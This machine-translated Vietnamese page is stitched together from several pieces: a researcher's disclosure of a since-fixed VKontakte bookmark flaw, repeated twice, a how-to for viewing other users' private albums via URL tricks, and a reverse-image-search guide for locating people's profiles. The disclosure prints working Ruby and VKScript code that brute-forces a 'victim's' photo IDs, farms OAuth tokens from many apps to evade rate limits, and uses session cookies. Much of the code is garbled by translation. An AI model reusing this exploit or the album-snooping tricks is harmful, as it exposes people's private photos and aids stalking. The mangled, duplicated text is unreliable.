Riêng tư ẩn trong vk. Tính năng ẩn của VK.API hay tìm kiếm ảnh riêng tư trên VKontakte. Làm việc với thanh địa chỉ

tl;dr

Một lỗ hổng đã được phát hiện trong dấu trang VK, khiến nó có thể nhận liên kết trực tiếp đến ảnh riêng tư từ tin nhắn và album cá nhân của bất kỳ người dùng/nhóm nào. Một tập lệnh đã được viết để sắp xếp ảnh của người dùng trong một khoảng thời gian nhất định và sau đó, thông qua lỗ hổng này, đã nhận được các liên kết trực tiếp đến hình ảnh. Tóm lại, bạn có thể lấy tất cả ảnh của mình từ hôm qua trong 1 phút, tất cả ảnh được tải lên tuần trước trong 7 phút, tháng trước trong 20 phút, năm ngoái trong 2 giờ. Lỗ hổng hiện đã được khắc phục. Ban quản lý VKontakte đã trả thưởng 10k phiếu bầu.


Câu chuyện bắt đầu khi một hình ảnh được gửi cho tôi trong tin nhắn cá nhân trên VKontakte. Thông thường, nếu có điều gì đó quan trọng, tôi tải nó lên đám mây, nhưng trong trường hợp của tôi, điều này không cần thiết và tôi quyết định sử dụng chức năng đánh dấu trang VKontakte.

Nói ngắn gọn về chức năng này: tất cả những thứ mà người dùng thích sẽ được thêm vào dấu trang; Ngoài ra còn có chức năng thêm liên kết đến người dùng và liên kết VKontakte nội bộ theo cách thủ công. Điểm cuối cùng có vẻ rất thú vị đối với tôi, vì sau khi thêm liên kết vào ảnh, tôi thấy bản xem trước và văn bản của nó với loại thực thể được thêm vào:

Khi một liên kết được thêm vào, máy chủ sẽ phân tích nó, cố gắng tìm ra thực thể mà nó đề cập đến và lấy thông tin về đối tượng này từ cơ sở dữ liệu. Thông thường, khi viết loại hàm này với nhiều điều kiện, khả năng người phát triển sẽ quên điều gì đó là rất cao. Vì vậy, tôi không thể bỏ qua nó và quyết định dành vài phút để thử nghiệm một chút.

Kết quả là tôi đã tìm được thứ gì đó. Bằng cách thêm liên kết vào ảnh, ghi chú hoặc video không thể truy cập được, bạn có thể nhận được một ít thông tin cá nhân về đối tượng. Trong trường hợp ảnh và video, đây là bản xem trước nhỏ (150x150), trên đó khá khó nhìn thấy bất cứ thứ gì; tiêu đề được hiển thị để ghi chú riêng tư. Thông qua phương pháp API fave.getLiên kết Có thể lấy liên kết tới hình ảnh, nhưng kích thước lại quá nhỏ (75px và 130px). Vì vậy, về cơ bản, không có gì nghiêm trọng.

Tôi quyết định truy cập phiên bản di động của trang web để kiểm tra xem mọi thứ có được hiển thị ở đó giống như phiên bản thông thường hay không. Nhìn vào mã trang, tôi thấy điều này:

Đúng! Trong giá trị thuộc tính dữ liệu-src_big có một liên kết trực tiếp đến hình ảnh gốc!

Do đó, có thể nhận được liên kết trực tiếp tới bất kỳ hình ảnh nào trên VKontakte, bất kể nó được tải lên ở đâu và nó có cài đặt quyền riêng tư nào. Đây có thể là hình ảnh từ tin nhắn cá nhân hoặc ảnh từ album riêng tư của bất kỳ người dùng/nhóm nào.

Có vẻ như tôi có thể dừng lại ở đó và viết thư cho các nhà phát triển, nhưng tôi tự hỏi liệu bằng cách khai thác lỗ hổng này, liệu có thể truy cập vào tất cả (hoặc được tải xuống trong một khoảng thời gian nhất định) ảnh của người dùng hay không. Vấn đề chính ở đây, như bạn hiểu, là liên kết đến ảnh riêng tư của biểu mẫu không phải lúc nào cũng được biết ảnhXXXXXX_XXXXXXXXXđể thêm vào dấu trang của bạn. Ý nghĩ tìm kiếm id của bức ảnh xuất hiện trong đầu tôi, nhưng không hiểu sao tôi ngay lập tức từ chối nó như một điều điên rồ. Tôi đã kiểm tra các phương pháp liên quan đến ảnh trong API, xem cách ứng dụng hoạt động với album nhưng tôi không thể tìm thấy bất kỳ rò rỉ nào có thể giúp tôi có được danh sách ID của tất cả ảnh riêng tư của người dùng. Tôi đã định từ bỏ ý định này, nhưng nhìn lại đường link kèm theo bức ảnh, tôi chợt nhận ra rằng đi quá xa là một ý tưởng hay.

Cách ảnh hoạt động trong VK

Làm thế nào bạn có thể thay thế, liên kết đến ảnh ảnh52708106_359542386 gồm có hai phần: (id người dùng)_(một số số lạ). Phần thứ hai được hình thành như thế nào?

Than ôi, sau hai giờ thử nghiệm, tôi vẫn không hiểu được điều này. Vào năm 2012, tại HighLoad++, Oleg Illarionov đã nói vài lời về cách họ lưu trữ ảnh, về phân đoạn ngang và lựa chọn ngẫu nhiên máy chủ để tải lên, nhưng thông tin này không cung cấp cho tôi bất kỳ thông tin gì vì không có kết nối giữa id máy chủ và ảnh id. Rõ ràng là có một số loại bộ đếm toàn cầu, nhưng có một số logic khác ở đó... Bởi vì nếu số thứ hai được hình thành bằng cách sử dụng tính năng tự động tăng thông thường, thì giá trị của ID ảnh từ lâu đã đạt đến giá trị khổng lồ ​​(ví dụ đối với Facebook, hiện tại là ~ 700 nghìn tỷ), nhưng đối với Vkontakte, giá trị này chỉ là ~ 400 triệu (mặc dù xét theo số liệu thống kê, hằng ngày người dùng tải lên hơn 30 triệu bức ảnh). Những thứ kia. Rõ ràng con số này không phải là duy nhất nhưng đồng thời cũng không phải là ngẫu nhiên. Tôi đã viết một đoạn script xem qua các bức ảnh của những người dùng “cũ” và sử dụng dữ liệu nhận được để lập biểu đồ về mức độ thay đổi của con số này theo từng bức ảnh. năm:

Có thể thấy các giá trị dao động tùy thuộc vào một số yếu tố (số lượng máy chủ hay logic mới?). Nhưng vấn đề là chúng đủ nhỏ (đặc biệt là trong 2-3 năm gần đây) và rất dễ tính toán phạm vi id trong khoảng thời gian mong muốn. Nghĩa là, để tìm ra các liên kết trực tiếp đến ảnh của người dùng, chẳng hạn như từ năm ngoái, bạn cần cố gắng đánh dấu chỉ 30 triệu (từ _320000000 đến _350000000) các biến thể liên kết khác nhau! Dưới đây tôi đã mô tả một kỹ thuật bạo lực cho phép tôi thực hiện việc này chỉ trong vài phút.

Đi qua các bức ảnh

Bạn có thể thêm tất cả những thứ này theo cách thủ công thông qua giao diện hoặc viết một tập lệnh thêm một liên kết vào dấu trang, nhưng điều đó sẽ nhàm chán và tốn thời gian. Tốc độ tìm kiếm trong trường hợp này sẽ là 3 dấu trang mỗi giây, bởi vì gửi nhiều hơn ba yêu cầu mỗi giây đến máy chủ Vkontakte nó bị cấm.

Tăng tốc tìm kiếm x25

Để vượt qua giới hạn 3 yêu cầu ít nhất một chút, tôi quyết định sử dụng phương pháp hành hình. Trong một lệnh gọi phương thức này, có thể thực hiện được 25 lệnh gọi tới phương thức API.

Var start = ParseInt(Args.start); var end = parsInt(Args.end); var nạn nhânId = Args.id; var link = "http://vk.com/photo" + Nạn nhânId + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
Do đó, chúng tôi đã cố gắng tăng tốc độ bạo lực lên 3*25 dấu trang/giây. Trong năm qua, việc sắp xếp các bức ảnh sẽ mất nhiều thời gian, nhưng trong thời gian ngắn, phương pháp sắp xếp này đã khá tốt.

Chúng tôi tăng tốc tìm kiếm x25 * số lượng yêu cầu song song mỗi giây

Giới hạn về số lượng yêu cầu/giây áp dụng cho từng ứng dụng riêng biệt chứ không áp dụng cho toàn bộ người dùng. Vì vậy, không có gì ngăn cản bạn gửi nhiều yêu cầu song song nhưng đồng thời sử dụng mã thông báo từ các ứng dụng khác nhau.

Đầu tiên chúng tôi cần tìm (hoặc tạo) số lượng ứng dụng cần thiết. Một tập lệnh đã được viết để tìm kiếm các ứng dụng độc lập trong một phạm vi định danh ứng dụng nhất định:

Lớp StandaloneAppsFinder attr_reader:app_ids def khởi tạo(params) @range = params[:in_range] @app_ids = end def search (@range).mỗi do |app_id| phản hồi = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").đọc ứng dụng = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Cũng có thể chọn ứng dụng theo số lượng người dùng để tăng tốc độ tìm kiếm hơn nữa:

Nhưng tôi quyết định không bận tâm đến nó.

Ok, các ứng dụng đã được tìm thấy, bây giờ họ cần cấp quyền cho dữ liệu của người dùng của chúng tôi và nhận mã thông báo. Để được ủy quyền, chúng tôi phải sử dụng cơ chế Dòng ngầm. Tôi đã phải phân tích cú pháp URL ủy quyền từ hộp thoại OAuth và lấy mã thông báo sau khi chuyển hướng. Lớp này yêu cầu cookie để hoạt động. p, tôi(đăng nhập.vk.com) và remix(vk.com):

Trình xác thực lớp attr_reader:access_tokens def khởi tạo(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end def Authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Vì có nhiều ứng dụng được tìm thấy nên cũng có rất nhiều yêu cầu song song được thực hiện. Để song song hóa toàn bộ vấn đề này, người ta đã quyết định sử dụng đá quý Typhoeus, loại đá quý đã chứng tỏ mình xuất sắc trong các nhiệm vụ khác. Kết quả là một lực lượng vũ phu nhỏ như thế này:

Lớp PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "hôm nay" => 366300000..366500000, "hôm qua" => 366050000..366300000, "current_month" => 365000000..366500000, "last_month" => 3600000 65000000, "current_year" = > 350000000..366500000, "last_year" => 320000000..350000000 ) def khởi tạo(params) @victim_id = params[:victim_id] @ Period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokenIterator = 0 (@ Period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" mã hóa_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokenIterator = tokenIterator == token.count - 1 ? 0: tokenIterator + 1 hydra.queue Typhoeus::Request.new được mã hóa_url hydra.run nếu tokenIterator.zero? kết thúc hydra.run trừ khi hydra.queued_requests.count.zero? kết thúc vkscript def riêng tư(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Để tăng tốc độ bạo lực hơn nữa, đã có nỗ lực loại bỏ cơ thể không cần thiết trong phản ứng, nhưng CÁI ĐẦU Yêu cầu máy chủ VKontakte trả về lỗi 501 Không được thực hiện.

Phiên bản cuối cùng của tập lệnh trông như thế này:

Yêu cầu "nokogiri" require "open-uri" require "typhoeus" require "json" require "./standalone_apps_finder" require "./photos_bruteforcer" require "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, Period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookie từ login.vk.com # remixsid - cookie từ vk.com Authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") Authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
Sau khi chạy chương trình, dấu trang sẽ chứa tất cả ảnh của người dùng trong một khoảng thời gian nhất định. Tất cả những gì còn lại là truy cập phiên bản di động của VKontakte, mở bảng điều khiển trình duyệt, lấy ra các liên kết trực tiếp và thưởng thức những bức ảnh ở kích thước ban đầu.

Kết quả

Nói chung, tất cả phụ thuộc vào kết nối Internet của bạn và tốc độ của máy chủ proxy, độ trễ của máy chủ Vkontakte, sức mạnh bộ xử lý và nhiều yếu tố khác. Sau khi thử đoạn script trên trên tài khoản của mình, tôi nhận được những con số sau (không tính đến thời gian nhận mã thông báo):

Bảng hiển thị thời gian trung bình cần thiết để thử giấy tờ tùy thân có ảnh trong một khoảng thời gian nhất định. Tôi chắc chắn rằng tất cả điều này có thể được tăng tốc lên 10-20 lần. Ví dụ: trong tập lệnh brute Force, hãy tạo một hàng đợi lớn chứa tất cả các yêu cầu và đồng bộ hóa bình thường giữa chúng, bởi vì trong quá trình triển khai của tôi, một yêu cầu có thời gian chờ sẽ làm chậm toàn bộ quá trình. Và nói chung, bạn chỉ cần mua một vài phiên bản trên EC2 và nhận được tất cả ảnh của bất kỳ người dùng nào trong một giờ. Nhưng tôi đã muốn đi ngủ rồi.

Và nói chung, kẻ tấn công dành bao nhiêu thời gian cho việc này không quan trọng, 5 giờ hay cả ngày, bởi vì bằng cách này hay cách khác, hắn sẽ nhận được liên kết đến các hình ảnh riêng tư. Khả năng truy cập thông tin cá nhân một cách an toàn trong một khoảng thời gian hữu hạn là mối đe dọa chính do lỗ hổng này gây ra.

Báo cáo lỗ hổng

Lúc đầu, báo cáo được gửi đến bộ phận hỗ trợ, nhưng sau khi nhận được phản hồi như “cảm ơn bạn, có lẽ chúng tôi sẽ khắc phục được bằng cách nào đó…” và một tuần chờ đợi, tôi cảm thấy hơi buồn. Cảm ơn bạn rất nhiều vì đã giúp liên hệ trực tiếp với các nhà phát triển. Sau đó, lỗi đã được đóng trong vòng vài giờ và vài ngày sau chính quyền đã chuyển phần thưởng trị giá 10k vào tài khoản của tôi

75 360 158 2

Điều thường xảy ra là bạn rất cần xem ảnh của hồ sơ VK riêng tư. Như bạn đã biết, bất kỳ người dùng nào cũng có cơ hội chọn mức độ riêng tư cho hồ sơ của mình một cách độc lập, do đó, việc đóng toàn bộ album hoặc từng ảnh chỉ cần một vài cú nhấp chuột. Hóa ra bạn có thể nhìn vào những bức ảnh đã đóng! Có một số thủ thuật và “lỗ hổng” nhất định, một trong số đó chúng tôi sẽ kể cho bạn nghe hôm nay.

Hãy nhớ rằng tất cả chúng đều đóng cửa nhanh chóng, vì vậy thực tế không phải là phương pháp này, giống như bất kỳ phương pháp nào khác, sẽ có hiệu lực sau một tuần hoặc một tháng.

Bạn sẽ cần:

Mở mã nguồn

Đầu tiên, hãy thử nó. Nếu album không mở được thì hãy tiến hành như sau. Vì vậy, hãy mở hồ sơ của người có ảnh mà chúng ta muốn xem. Tiếp theo, chúng ta cần mở mã nguồn của trang này.

Để thực hiện việc này, hãy nhấp chuột phải vào vùng trống và trong menu ngữ cảnh, hãy tìm mục “Xem mã nguồn trang”, “Xem mã phần tử” hoặc tương tự. Bạn cũng có thể sử dụng phím F12 nếu có Google Chrome. Vì vậy, đây là mã nguồn của trang. Cái gì tiếp theo?

Tìm kiếm đoạn cần thiết

Sử dụng tổ hợp phím Ctrl+F, mở thanh tìm kiếm và nhập từ “album” vào đó.

Sẽ có một số kết quả, nhưng chúng tôi cần kết quả theo sau là các số (đây là ID hồ sơ). Theo quy định, đoạn này sẽ là đoạn thứ ba ngay từ đầu trong kết quả tìm kiếm. Tìm thấy nó? Tuyệt vời, hãy sao chép chúng bằng tổ hợp phím Ctrl+C.

Làm việc với thanh địa chỉ

Vậy là chúng ta đã có đoạn mã cần thiết. Cái gì tiếp theo? Để xem ảnh ẩn trong Liên hệ, hãy quay lại trang được yêu cầu (chúng tôi không cần trang có mã nguồn nữa).

Trong thanh địa chỉ của trình duyệt, chúng ta thấy một liên kết như vk.com/id#####, trong đó #### là ID trang. Bạn nên biết và bạn bè. Chúng tôi đặt con trỏ ở cuối thanh địa chỉ và nhập các ký tự sau vào đó: “?z=”, sau đó chúng tôi sao chép vào đây đoạn mã nguồn của trang mà chúng tôi đang tìm kiếm.

Do đó, thanh địa chỉ của trình duyệt phải chứa thông tin sau: vk.com/id####?z=albums####, trong đó #### là ID của người đó.

Chúng tôi nhấn Enter và tất cả ảnh của người đó sẽ mở ra trước mặt chúng tôi.

Bằng cách đơn giản này, bạn có thể xem ảnh trong một album đã đóng trong VKontakte, cũng như xem danh sách album của những người đã bị xóa khỏi bạn bè VKontakte hoặc người dùng không quen thuộc.

Các câu hỏi và câu trả lời thường gặp

    Làm cách nào để xem album riêng tư của người dùng VK qua điện thoại?

    Hướng dẫn xem cũng giống như xem từ máy tính.

    Những khả năng tiềm ẩn của VKontakte là gì?

    1. Nếu bạn vào phần “Cài đặt” và trong tab “Chung” thay đổi ngôn ngữ thành tiền cách mạng hoặc Liên Xô, giao diện VKontakte sẽ thay đổi một chút.
    2. Nếu bạn muốn một số thông tin về bạn vẫn trống trên trang cá nhân của mình, hãy thêm mã vào các trường đó.
    3. Bạn có thể tạo liên kết hoạt động tới bất kỳ nhóm VKontakte nào trong cột “Nơi làm việc”. Để thực hiện việc này, hãy chuyển đến phần "Chỉnh sửa", chọn tab "Nghề nghiệp" và trong phần "Nơi làm việc" hãy viết tên cộng đồng mà bạn là thành viên.
    4. Trong phần "Cài đặt", id có thể được thay đổi thành địa chỉ ngắn gọn và dễ nhớ.

    Có dịch vụ nào xem ảnh ẩn trong danh bạ?

    Bạn cần tìm ảnh của người được gắn thẻ, sau đó vào chế độ xem nhanh và cuộn qua ảnh. Mặc dù thực tế là quyền truy cập thường xuyên vào chúng đã bị đóng, bạn vẫn có thể xem chúng. Bộ phận kỹ thuật vẫn chưa thể loại bỏ “lỗ hổng” này.

    Làm cách nào để xem tài khoản VK riêng tư?

    Để xem hồ sơ riêng tư, bạn cần:
    1. Tìm ID hồ sơ. di chuột qua “TÊN bạn bè”. Sao chép liên kết.
    2. *[liên kết bị chặn theo quyết định của ban quản lý dự án].
    3. Các số sau "id=" là ID hồ sơ.
    Chúng ta sao chép những con số này và dán vào các liên kết cần thiết.

    Ai có thể xem ảnh trên VKontakte?

    Tùy thuộc vào người bạn đã cấp quyền truy cập vào ảnh của bạn.

    Làm thế nào để xem tất cả các hình ảnh liên lạc?

    Thông tin này được mô tả trong bài viết.

    Làm cách nào để xem ảnh của một nhóm trong VKontakte?

    Tìm một nhóm hoặc trang phù hợp với sở thích của bạn, sau đó chọn tùy chọn ngay bên dưới thanh tìm kiếm “Cộng đồng”. Sau đó, chếch sang bên phải một chút, bạn sẽ thấy “Loại cộng đồng” (đánh dấu vào ô bên cạnh: bất kỳ, nhóm, trang, cuộc họp) và nhấp vào tìm kiếm. Một danh sách các nhóm sẽ mở ra trong đó bạn có thể chọn những nhóm phù hợp với mình. Nếu nhóm mở, bạn có thể dễ dàng xem tất cả nội dung của nhóm: âm thanh, video, hình ảnh, thảo luận.
    Nếu bạn đang ở trang nhóm kín, hãy chú ý đến góc trên bên phải dưới ảnh. Nó sẽ nói: “Đăng ký” (vào trang) hoặc “Gửi đơn đăng ký” (vào nhóm).
    Vui lòng đợi một lát vì đơn đăng ký của bạn đang được quản trị viên nhóm xem xét. Nếu họ chấp thuận, nhóm sẽ xuất hiện trong danh sách trên trang của bạn. Bây giờ bạn có thể xem tất cả nội dung nhóm.

Xin chào các bạn! Hôm nay chúng ta sẽ tìm kiếm những người sử dụng ảnh trên mạng xã hội VKontakte. Chỉ cần tưởng tượng rằng chúng ta chỉ có một bức ảnh và từ bức ảnh này, chúng ta cần tìm trang của anh ấy. Có lẽ điều này sẽ chỉ xảy ra nếu anh ấy đăng bức ảnh này lên mạng xã hội và không giấu nó (). Điều này có thể thực hiện được, tôi đã thử nghiệm nó trong thực tế, có một số phương pháp đã được chứng minh và bây giờ chúng ta sẽ xem xét chúng.

Tìm kiếm bằng hình ảnh trên VKontakte

Để sử dụng chức năng này của mạng xã hội và tìm một người, trước tiên chúng ta cần tải lên một bức ảnh mà chúng ta sẽ sử dụng để tìm kiếm tài khoản của mình (). Bây giờ chúng ta đi tới album mà chúng tôi đã thêm ảnh này vào và nhấp vào chính bức ảnh đó để nó được tải đầy đủ.

Sau khi tải ảnh xong, hãy nhìn vào thanh địa chỉ của trình duyệt và sao chép địa chỉ của ảnh. Bạn không cần sao chép toàn bộ địa chỉ ảnh mà chỉ cần sao chép những số đứng sau từ ảnh (cùng với nó) và trước dấu %. Nhìn vào ảnh chụp màn hình và mọi thứ sẽ trở nên rõ ràng:

Bây giờ hãy truy cập trang chủ của bạn và nhấp vào mục menu “Tin tức”

Hầu như ở đầu trang mở ra, phía trên tin tức, chúng ta có một cửa sổ tìm kiếm ảnh. Chúng ta chèn bản sao từ vào đó: ngay sau đó là địa chỉ của ảnh mà bạn đã tải lên và qua đó bạn cần tìm người.

Xem ảnh chụp màn hình:

Bấm vào Nhập. Và chúng tôi tải tất cả các bức ảnh giống hệt nhau được những người dùng khác nhau tải lên mạng xã hội. Đương nhiên, nếu bức ảnh là duy nhất thì trong trường hợp của bạn sẽ chỉ có một người dùng như vậy. Tất cả những gì bạn phải làm là nhấp vào ảnh và theo liên kết đến chủ sở hữu của bức ảnh này:

Thế là xong, chúng ta đã hoàn thành nhiệm vụ.

Tìm kiếm bằng hình ảnh từ Yandex

Bây giờ, để phát triển chung, tôi sẽ chỉ cho bạn một cách khác để tìm một người trên VKontakte bằng ảnh. Nhưng lưu ý rằng nó sẽ chỉ hoạt động nếu người dùng đã tải nó lên ảnh hồ sơ của họ. Chúng ta sẽ nói về việc tìm kiếm bằng hình ảnh từ công cụ tìm kiếm Yandex.

Trong cửa sổ tiếp theo, nhấp vào nút “Chọn tệp” để tải ảnh lên hệ thống tìm kiếm.

Thông qua Explorer, tìm hình ảnh mong muốn trên máy tính của bạn, chọn nó và nhấp vào “Mở”.

Hệ thống sẽ hiển thị ảnh của bạn và bên dưới tất cả những ảnh tương tự mà nó có thể tìm thấy. Với khả năng cao, bức ảnh đầu tiên sẽ là một bức ảnh giống hệt bức ảnh của bạn.

Cuộn bên dưới và xem danh sách các trang web nơi hình ảnh xuất hiện. Chọn bất kỳ đề xuất nào. Trong ví dụ, tôi chọn poisksocial.ru. Nhấp chuột phải vào tiêu đề và chọn “Mở liên kết trong tab mới” từ danh sách.

Trên trang web mở ra, bạn có thể tìm kiếm một người trên bất kỳ mạng xã hội nào có trong danh sách bên trái. Chúng tôi đã chọn VKontakte và cho biết tên đầy đủ mà kết quả được hiển thị (nhân tiện, tôi không nhập chúng, chúng đã được đăng ký khi tôi mở trang web. Mặc dù tôi đang tìm kiếm một người có tên đầy đủ khác, vì sự thuần khiết của thí nghiệm, tôi không thay đổi gì cả).

Cửa sổ ở giữa hiển thị tất cả các trang người dùng phù hợp, có sẵn. Chúng tôi lướt qua họ và vâng, người tôi cần đang ở đó, và hình đại diện của anh ấy có bức ảnh mà tôi đã từng tìm kiếm.

Nhấp vào tên và trên trang tiếp theo, chọn bất kỳ ảnh nào từ thư viện ảnh. Trang VKontakte của người dùng được tìm thấy sẽ mở ra và bạn có thể cho rằng bạn đã tìm thấy anh ta.

Tìm kiếm hình ảnh của Google

Công cụ tìm kiếm Google có dịch vụ giống hệt như Yandex. Chúng ta cũng hãy thử tìm trang VKontakte của tôi từ ảnh trên hình đại diện của tôi.

Truy cập trang chủ Google và ở góc trên bên phải nhấp vào liên kết “Hình ảnh”:

Chúng ta mở dịch vụ tìm kiếm hình ảnh, di chuyển con trỏ sang góc phải thanh tìm kiếm rồi nhấn vào biểu tượng camera. Nút này được gọi là “Tìm kiếm bằng hình ảnh”.

Trong cửa sổ mở ra, hãy chuyển đến tab “Tải tệp lên” và nhấp vào nút “Chọn tệp”:

Chúng tôi tải lên bức ảnh mà chúng tôi muốn tìm kiếm tài khoản VKontakte và quan sát kết quả.

Tôi nhận được các câu hỏi liên quan đến trang phục lịch sự (vì ảnh chụp mọi người mặc đồ đen trắng). Và không có gì trong "Hình ảnh tương tự".

Nếu đây là trường hợp của bạn, hãy tinh chỉnh tìm kiếm một chút. Để thực hiện việc này, bạn cần nhập họ và tên của người bạn đang tìm vào dòng thích hợp (nên trùng với cách người dùng đăng ký VK) và nhấp vào kính lúp.

Như bạn có thể thấy, trang VKontakte của tôi đã được tìm thấy trở lại, điều đó có nghĩa là chúng tôi đã đạt được mục tiêu một lần nữa. Và với điều này, tôi kết thúc bài viết này, trong đó chúng tôi đã học cách tìm kiếm các trang VK bằng ảnh.

tl;dr

Một lỗ hổng đã được phát hiện trong dấu trang VK, khiến nó có thể nhận liên kết trực tiếp đến ảnh riêng tư từ tin nhắn và album cá nhân của bất kỳ người dùng/nhóm nào. Một tập lệnh đã được viết để sắp xếp ảnh của người dùng trong một khoảng thời gian nhất định và sau đó, thông qua lỗ hổng này, đã nhận được các liên kết trực tiếp đến hình ảnh. Tóm lại, bạn có thể lấy tất cả ảnh của mình từ hôm qua trong 1 phút, tất cả ảnh được tải lên tuần trước trong 7 phút, tháng trước trong 20 phút, năm ngoái trong 2 giờ. Lỗ hổng hiện đã được khắc phục. Ban quản lý VKontakte đã trả thưởng 10k phiếu bầu.


Câu chuyện bắt đầu khi một hình ảnh được gửi cho tôi trong tin nhắn cá nhân trên VKontakte. Thông thường, nếu có điều gì đó quan trọng, tôi tải nó lên đám mây, nhưng trong trường hợp của tôi, điều này không cần thiết và tôi quyết định sử dụng chức năng đánh dấu trang VKontakte.

Nói ngắn gọn về chức năng này: tất cả những thứ mà người dùng thích sẽ được thêm vào dấu trang; Ngoài ra còn có chức năng thêm liên kết đến người dùng và liên kết VKontakte nội bộ theo cách thủ công. Điểm cuối cùng có vẻ rất thú vị đối với tôi, vì sau khi thêm liên kết vào ảnh, tôi thấy bản xem trước và văn bản của nó với loại thực thể được thêm vào:

Khi một liên kết được thêm vào, máy chủ sẽ phân tích nó, cố gắng tìm ra thực thể mà nó đề cập đến và lấy thông tin về đối tượng này từ cơ sở dữ liệu. Thông thường, khi viết loại hàm này với nhiều điều kiện, khả năng người phát triển sẽ quên điều gì đó là rất cao. Vì vậy, tôi không thể bỏ qua nó và quyết định dành vài phút để thử nghiệm một chút.

Kết quả là tôi đã tìm được thứ gì đó. Bằng cách thêm liên kết vào ảnh, ghi chú hoặc video không thể truy cập được, bạn có thể nhận được một ít thông tin cá nhân về đối tượng. Trong trường hợp ảnh và video, đây là bản xem trước nhỏ (150x150), trên đó khá khó nhìn thấy bất cứ thứ gì; tiêu đề được hiển thị để ghi chú riêng tư. Thông qua phương pháp API fave.getLiên kết Có thể lấy liên kết tới hình ảnh, nhưng kích thước lại quá nhỏ (75px và 130px). Vì vậy, về cơ bản, không có gì nghiêm trọng.

Tôi quyết định truy cập phiên bản di động của trang web để kiểm tra xem mọi thứ có được hiển thị ở đó giống như phiên bản thông thường hay không. Nhìn vào mã trang, tôi thấy điều này:

Đúng! Trong giá trị thuộc tính dữ liệu-src_big có một liên kết trực tiếp đến hình ảnh gốc!

Do đó, có thể nhận được liên kết trực tiếp tới bất kỳ hình ảnh nào trên VKontakte, bất kể nó được tải lên ở đâu và nó có cài đặt quyền riêng tư nào. Đây có thể là hình ảnh từ tin nhắn cá nhân hoặc ảnh từ album riêng tư của bất kỳ người dùng/nhóm nào.

Có vẻ như tôi có thể dừng lại ở đó và viết thư cho các nhà phát triển, nhưng tôi tự hỏi liệu bằng cách khai thác lỗ hổng này, liệu có thể truy cập vào tất cả (hoặc được tải xuống trong một khoảng thời gian nhất định) ảnh của người dùng hay không. Vấn đề chính ở đây, như bạn hiểu, là liên kết đến ảnh riêng tư của biểu mẫu không phải lúc nào cũng được biết ảnhXXXXXX_XXXXXXXXXđể thêm vào dấu trang của bạn. Ý nghĩ tìm kiếm id của bức ảnh xuất hiện trong đầu tôi, nhưng không hiểu sao tôi ngay lập tức từ chối nó như một điều điên rồ. Tôi đã kiểm tra các phương pháp liên quan đến ảnh trong API, xem cách ứng dụng hoạt động với album nhưng tôi không thể tìm thấy bất kỳ rò rỉ nào có thể giúp tôi có được danh sách ID của tất cả ảnh riêng tư của người dùng. Tôi đã định từ bỏ ý định này, nhưng nhìn lại đường link kèm theo bức ảnh, tôi chợt nhận ra rằng đi quá xa là một ý tưởng hay.

Cách ảnh hoạt động trong VK

Làm thế nào bạn có thể thay thế, liên kết đến ảnh ảnh52708106_359542386 gồm có hai phần: (id người dùng)_(một số số lạ). Phần thứ hai được hình thành như thế nào?

Than ôi, sau hai giờ thử nghiệm, tôi vẫn không hiểu được điều này. Vào năm 2012, tại HighLoad++, Oleg Illarionov đã nói vài lời về cách họ lưu trữ ảnh, về phân đoạn ngang và lựa chọn ngẫu nhiên máy chủ để tải lên, nhưng thông tin này không cung cấp cho tôi bất kỳ thông tin gì vì không có kết nối giữa id máy chủ và ảnh id. Rõ ràng là có một số loại bộ đếm toàn cầu, nhưng có một số logic khác ở đó... Bởi vì nếu số thứ hai được hình thành bằng cách sử dụng tính năng tự động tăng thông thường, thì giá trị của ID ảnh từ lâu đã đạt đến giá trị khổng lồ ​​(ví dụ đối với Facebook, hiện tại là ~ 700 nghìn tỷ), nhưng đối với Vkontakte, giá trị này chỉ là ~ 400 triệu (mặc dù xét theo số liệu thống kê, hằng ngày người dùng tải lên hơn 30 triệu bức ảnh). Những thứ kia. Rõ ràng con số này không phải là duy nhất nhưng đồng thời cũng không phải là ngẫu nhiên. Tôi đã viết một đoạn script xem qua các bức ảnh của những người dùng “cũ” và sử dụng dữ liệu nhận được để lập biểu đồ về mức độ thay đổi của con số này theo từng bức ảnh. năm:

Có thể thấy các giá trị dao động tùy thuộc vào một số yếu tố (số lượng máy chủ hay logic mới?). Nhưng vấn đề là chúng đủ nhỏ (đặc biệt là trong 2-3 năm gần đây) và rất dễ tính toán phạm vi id trong khoảng thời gian mong muốn. Nghĩa là, để tìm ra các liên kết trực tiếp đến ảnh của người dùng, chẳng hạn như từ năm ngoái, bạn cần cố gắng đánh dấu chỉ 30 triệu (từ _320000000 đến _350000000) các biến thể liên kết khác nhau! Dưới đây tôi đã mô tả một kỹ thuật bạo lực cho phép tôi thực hiện việc này chỉ trong vài phút.

Đi qua các bức ảnh

